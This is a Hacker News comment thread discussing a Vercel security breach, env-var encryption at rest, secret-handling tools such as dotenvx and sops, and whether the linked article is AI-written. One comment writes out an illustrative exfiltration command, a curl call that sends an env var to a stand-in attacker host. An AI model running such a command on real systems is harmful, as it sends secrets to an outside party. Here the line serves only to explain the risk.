A Roblox cheat and one AI tool brought down Vercel's platform

(webmatrices.com)

100 points | by bishwasbh 2 hours ago

15 comments

  • kstrauser 1 hour ago
    I think this is wrong about what “sensitive” means here. AFAIK, all Vercel env cars are encrypted. The sensitive checkbox means that a develop looking at the env var can’t see what value is stored there. It’s a write-only value. Only the app can see it, via an env var (which obviously can’t be encrypted in such a way that the app can’t see it, otherwise it’d be worthless). If you don’t check that box, you can view the value in the project UI. That’s reasonable for most config values. Imagine “DEFAULT_TIME_ZONE” or such. There’s nothing gained from hiding it, and it’d be a pain in the ass come troubleshooting time.

    So sensitive doesn’t mean encrypted. It means the UI doesn’t show the dev what value’s stored there after they’ve updated it. Not sensitive means it’s still visible. And again, I presume this is only a UI thing, and both kinds are stored encrypted in the backend.

    I don’t work for Vercel, but I’ve use them a bit. I’m sure there are valid reasons to dislike them, but this specific bit looks like a strawman.

    • dkersten 2 minutes ago
      This is also how other cloud providers do it, eg DigitalOcean.
  • yoaviram 1 hour ago
    I believe this is inaccurate. Vercel env vars are all encrypted at rest (on their side). The 'sensitive' checkbox means you can't retrieve the value once it's set, which would have saved your ass in this case. Also, annoying to read an article like this without a single link to source material.
    • trick-or-treat 1 hour ago
      I think it's clear that some customers env vars got exposed, so that can only mean unencrypted, right?
      • TheDong 1 hour ago
        They said "encrypted at rest", which they almost certainly are.

        If you spin up an EC2 instance with an ftp server and check the "Encrypt my EBS volume" checkbox, all those files are 'encrypted at rest', but if your ftp password is 'admin/admin', your files will be exposed in plaintext quite quickly.

        Vercel's backend is of course able to decrypt them too (or else it couldn't run your app for you), and so the attacker was able to view them, and presumably some other control on the backend made it so the sensitive ones can end up in your app, but can't be seen in whatever employee-only interface the attacker was viewing.

        • trick-or-treat 1 hour ago
          Hmm, that's confusing. So they're eventually encrypted but plain-text at some point? Doesn't sound good TBH.
          • bauruine 1 hour ago
            How do you use them if you don't decrypt them? At some point you have to see them in plaintext. Even if they are sensitive and not shown in the UI you can still start an app and curl https://hacker.example/$my_encrypted_var to exfiltrate them.

            What's best practice to handle env vars? How do poeple handle them "securely" without it just being security theater? What tools and workflows are people using?

            • trick-or-treat 52 minutes ago
              Yeah that's a good point. Dotenvx seems to claim a solution but I'm not smart enough to make sense of it.

              However I do feel now like my sensitive things are better off deployed on a VPS where someone would need a ssh exploit to come at me.

              • TheDong 40 minutes ago
                dotenvx is a way to encrypt your secrets at rest. It's kinda like sops but not as good. https://getsops.io/

                Notice how their tutorial says "run 'dotenvx run -- yourapp'". If you did 'dotenvx run -- env', all your secrets would be printed right there in plaintext, at runtime, since they're just encrypted at rest.

                The equivalent in vercel would be encrypted in the database (the encrypted '.env' file), with a decryption key in the backend (the '.env.keys' file by default in dotenvx) used to show them in the frontend and decrypt them for running apps.

          • jakewins 1 hour ago
            If a company says “encrypted at rest” that is generally compliance-speak for “not encrypted, but the hard drive partition is encrypted”.

            Various certifications require this, I guess because they were written before hyper scalers and the assumed attack vector was that someone would literally steal a hard drive.

            A running machine is not “at rest”, just like you can read files on your encrypted Mac HDD, the running program has decrypted access to the hard drive.

          • burnished 1 hour ago
            There isn't really a way around it.
          • magackame 1 hour ago
            It seems only encrypt and throw away the key would be the acceptable strategy
            • TheDong 1 hour ago
              They need to give your app the environment variables later so they cannot throw away the key.

              For non-sensitive environment variables, they also show you the value in the dashboard so you can check and edit them later.

              Things like 'NODE_ENV=production' vs 'NODE_ENV=development' is probably something the user wants to see, so that's another argument for letting the backend decrypt and display those values even ignoring the "running your app" part.

              You're welcome to add an input that goes straight to '/dev/null' if you want, but it's not exactly a useful feature.

  • voidUpdate 6 minutes ago
    Something has gone screwy with the timestamps on this page... They're saying they were posted "in 8 hours", "in a day", then the last one is "an hour ago"
  • ethin 1 hour ago
    This looks really really AI-generated even if the author did try to hide it by making some grammar elements improper. Idk if that diminishes it's accuracy though.
    • progbits 1 hour ago
      I don't know why you are downvoted. The article is AI blogspam, it doesn't have any more factual information than eg https://www.darkreading.com/application-security/vercel-empl... and is full of empty LLMisms. It's depressing people are willing to read this.
      • progval 1 hour ago
        Because a comment that just says it's AI generated provides no value to the readers. They could at least provide an alternative link like you did.
        • croemer 3 minutes ago
          It does provide value in that I know I shouldn't read it. It's clearly LLM written after a few glances.
      • mchl-mumo 1 hour ago
        I didn't notice till I saw this comment and now I'm also confident it's significantly AI written.
    • nilsbunger 51 minutes ago
      I thought the same. Normal people don’t write that way.
  • jesse_dot_id 2 hours ago
    > How many developers do you think knew that checkbox existed? How many assumed their database credentials and API keys were encrypted by default?

    If I don't see asterisks, I'm not hitting save on the field with a secret in it. Maybe they were setting them programmatically? They should definitely still be looking to pass some kind of a secret flag, though. This is a weird problem for a company like Vercel to have.

    • apgwoz 1 hour ago
      You pretty much have to assume someone is going to put sensitive data in an input like this. Encryption by default is the only sensible choice.
    • SOLAR_FIELDS 1 hour ago
      Do you ask a bridge engineer if they forgot to reinforce the supports when they built the bridge? Even when I didn't know about security this was a table stakes thing. People saving sensitive things in plaintext are upset that their poor practices came back to bite them. Now, at the risk of sounding like I'm victim blaming here, Vercel is also totally bearing some responsibility for this insanity. But come on. FAFO and all that.
  • mudkipdev 1 hour ago
    I'm getting a "failed to verify your browser" error on this article
    • NitpickLawyer 1 hour ago
      And, ironically, it's hosted on vercel :D
  • EdwardDiego 2 hours ago
    A frigging Roblox cheat...

    And I thought it was bad when my son got compromised by a Roblox cheat, but they only they grabbed his Gamepass cookies and bought 4 Minecraft licenses, which MS quickly refunded...

  • varun_ch 1 hour ago
    Context.ai seems like it was the SPOF. By definition it has a lot of your data, and they didn’t secure it properly.
    • trick-or-treat 1 hour ago
      Clearly, Vercel should not have been compromised by this. I don't know who Context.ai is but I do know Vercel and I expected better from them. I also think we can expect to see a lot more stories like this.
  • trick-or-treat 1 hour ago
    According to the email I got from Vercel it was a limited subset of customers and I'm not one:

    Initially, we identified a limited subset of customers whose Vercel credentials were compromised. We reached out to that subset and recommended that they rotate their credentials immediately.

    At this time, we do not have reason to believe that your Vercel credentials or personal data have been compromised.

  • R41 1 hour ago
    good article, these AI products are crazy supply chain risks.
  • ryanisnan 1 hour ago
    Convenience is our Achilles heel, as a society.

    We'll keep dangerous devices like the SuperBox in our homes, if it helps us get access to free movies and tv.

    We'll use single-use plastics, even if we know they're bad for the environment, because they're just so damn easy.

    We'll let AI run that thing for us, because it's just too easy.

    A whole generation has grown up without knowing what it was like to infect your computer with AIDS trying to download an MP3, and it shows. That caution will come back, just at a terrible cost.

    • notpachet 50 minutes ago
      > Convenience is our Achilles heel

      More generically, our species' Achilles heel is our inability to factor in the long-term cost of negative externalities when evaluating processes that yield short-term positive results.

    • trick-or-treat 1 hour ago
      When life gives you AIDS, make lemonAIDS!
  • ChrisArchitect 1 hour ago
    Related:

    Vercel April 2026 security incident

    https://news.ycombinator.com/item?id=47824463

  • doctorpangloss 1 hour ago
    This article is LLM authored and full of hallucinations. "Let that sink in for a second."
  • agent-kay 18 minutes ago
    [flagged]
  • souravroyetl 1 hour ago
    [flagged]